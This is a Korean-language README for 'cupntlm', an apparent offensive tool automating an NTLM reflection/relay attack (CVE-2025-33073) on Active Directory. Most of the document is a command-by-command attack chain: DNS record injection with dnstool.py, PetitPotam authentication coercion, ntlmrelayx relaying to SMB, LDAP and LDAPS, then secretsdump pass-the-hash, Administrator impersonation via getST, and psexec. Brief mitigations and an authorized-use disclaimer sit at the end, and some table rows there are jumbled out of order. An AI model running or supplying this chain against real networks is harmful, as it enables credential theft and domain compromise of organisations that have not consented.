
cupntlm
CVE-2025-33073 — DNS 강제 인증을 통한 NTLM 반사 우회
Active Directory 환경을 위한 자동화된 공격 도구입니다.
cupntlm은 CVE-2025-33073을 악용하는 NTLM 반사/릴레이 공격 체인을 자동화합니다. DNS 레코드 주입, 강제 인증 조작(PetitPotam), NTLM 릴레이를 하나의 워크플로우로 결합합니다. 이 도구는 범위와 스텔스 요구 사항에 따라 두 가지 작동 모드를 지원합니다.
Attacker Domain Controller Target Host
│ │ │
│── 1. Inject DNS record ───────▶│ │
│ (attacker IP as target) │ │
│ │ │
│── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
│ │ │
│◀─ 3. NTLM auth forwarded back ─────────────────────────────│
│ │ │
│── 4. Relay to DC ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc.│ │
대상 네트워크의 사전 요구 사항:
| 라이브러리 | 설치 |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython | pip3 install dnspython --break-system-packages |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # from impacket
├── dnstool.py # from krbrelayx
├── lib/ # krbrelayx support library
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
대상의 SMB 서명 상태를 확인하고 공격 전에 도메인 자격 증명을 검증합니다.
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
각 대상에 고유한 DNS 레코드를 만들고 하나씩 강제 인증을 트리거하며 반복 사이에 레코드를 정리합니다. 더 느리지만 더 정밀하고 노이즈가 적습니다.
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
단일 DNS 레코드를 주입하고 모든 대상을 반복하는 동안 ntlmrelayx를 계속 실행합니다. 대규모 범위에서 더 빠릅니다.
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
다음 단계는 cupntlm.py를 사용하지 않고 전체 공격 체인을 수동으로 재현합니다. 원리 이해, 디버깅 또는 비표준 환경에 적용할 때 유용합니다.
SMB 서명이 비활성화된 호스트를 식별하세요. 이들이 유효한 릴레이 대상입니다.
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
또는 nmap 사용:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
다음 항목을 확인하세요:
Message signing enabled but not required ← valid relay target
Message signing enabled and required ← cannot relay here
dnstool.py를 사용하여 도메인 DNS에 호스트 이름을 가리키는 A 레코드를 추가합니다. 대상이 이 호스트 이름을 확인하고 인증하면 요청이 릴레이 리스너로 전달됩니다.
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # your attacker IP
--type A \
10.0.0.1 # DC IP
레코드가 추가되었는지 확인:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
강제 인증을 트리거하기 전에 ntlmrelayx.py를 시작하세요. 수신 인증을 기다리며 대기합니다.
SMB로 릴레이 — SAM/LSA 덤프:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
LDAP로 릴레이 — 새 컴퓨터 계정 생성(RBCD / 섀도 자격 증명용):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
LDAPS로 릴레이 — 도메인 비밀 덤프:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
대상 머신이 주입된 DNS 레코드로 아웃바운드 인증을 수행하도록 트리거합니다. PetitPotam은 MS-EFSRPC 인터페이스를 남용합니다. 패치되지 않은 호스트에서는 자격 증명이 필요 없고, 패치된 호스트에서는 유효한 자격 증명을 사용할 수 있습니다.
인증 없음(패치되지 않은 대상):
python3 PetitPotam.py \
[dnsname] \ # your listener IP (matches DNS record)
192.168.1.50 # target host to coerce
인증 사용(패치된 대상, 유효한 자격 증명 필요):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
이 시점에서 강제 인증된 호스트는 NTLM 인증을 사용자의 머신으로 보내며, ntlmrelayx가 이를 받아 릴레이합니다.
3단계에서 선택한 릴레이 대상에 따라:
<hostname>_samhashes.txt / _lsahashes.txt 파일을 작성합니다getST.py로 서비스 티켓을 획득합니다작업이 끝난 후에는 항상 주입된 DNS 레코드를 제거하세요.
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
릴레이된 컴퓨터 계정으로 패스더해시:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
S4U2Self용 서비스 티켓 획득(RBCD 이후):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
티켓 사용:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| 통제 항목 | 효과 |
|---|---|
| 모든 호스트에서 SMB 서명(필수) 활성화 | SMB 릴레이 차단 |
| LDAP 서명 + 채널 바인딩 활성화 | LDAP/LDAPS 릴레이 차단 |
| MS-EFSRPC 패치(KB5005413) |
이 도구는 공인된 침투 테스트 및 보안 연구 목적으로만 사용해야 합니다.
명시적인 서면 허가를 받지 않은 시스템에 사용하지 마십시오.
| 도구 | 용도 |
|---|
python3 | 런타임 |
pip3 | Python 패키지 관리자 |
git | 의존성 클로닝 |
wget | 파일 다운로드 |
nmap | SMB 서명 열거 |
netexec / crackmapexec | SMB 서명 확인(선택 사항) |
| 인증 없는 PetitPotam 차단 |
| DNS 레코드 생성을 관리자로 제한 | DNS 주입 단계 차단 |
| NTLM 네트워크 인증 비활성화(Kerberos 선호) | 해당 공격 클래스 전체 제거 |